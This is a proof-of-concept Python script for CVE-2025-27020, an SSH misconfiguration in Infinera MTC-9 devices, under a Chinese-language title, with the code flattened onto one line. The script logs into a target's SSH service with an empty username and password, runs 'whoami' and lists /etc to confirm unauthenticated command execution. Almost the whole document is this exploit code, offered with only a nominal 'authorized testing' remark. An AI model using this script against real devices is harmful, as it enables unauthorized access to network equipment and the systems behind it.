CVE-2025-27020 Infinera MTC-9 SSH服务配置不当导致远程代码执行

import socket import sys # CVE-2025-27020 PoC - SSH Service Misconfiguration # Target: Infinera MTC-9 devices # Note: This PoC is for authorized security testing only def check_ssh_vulnerability(target_ip, port=22): """ Check if target SSH service accepts connection without authentication """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) result = sock.connect_ex((target_ip, port)) if result == 0: print(f"[+] SSH port {port} is open on {target_ip}") # Attempt to establish SSH connection try: import paramiko ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Try connection without credentials ssh.connect(target_ip, port=port, username='', password='', timeout=10) print(f"[CRITICAL] Vulnerability confirmed - SSH allows unauthenticated access!") # Execute test command stdin, stdout, stderr = ssh.exec_command('whoami') output = stdout.read().decode() print(f"[+] Command output: {output.strip()}") # List files in /etc directory stdin, stdout, stderr = ssh.exec_command('ls -la /etc/') files = stdout.read().decode() print(f"[+] Files in /etc/:\n{files}") ssh.close() return True except Exception as e: print(f"[-] Connection attempt: {e}") else: print(f"[-] SSH port {port} is closed or filtered") sock.close() except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 22 print(f"[*] Scanning {target} for CVE-2025-27020...") check_ssh_vulnerability(target, port)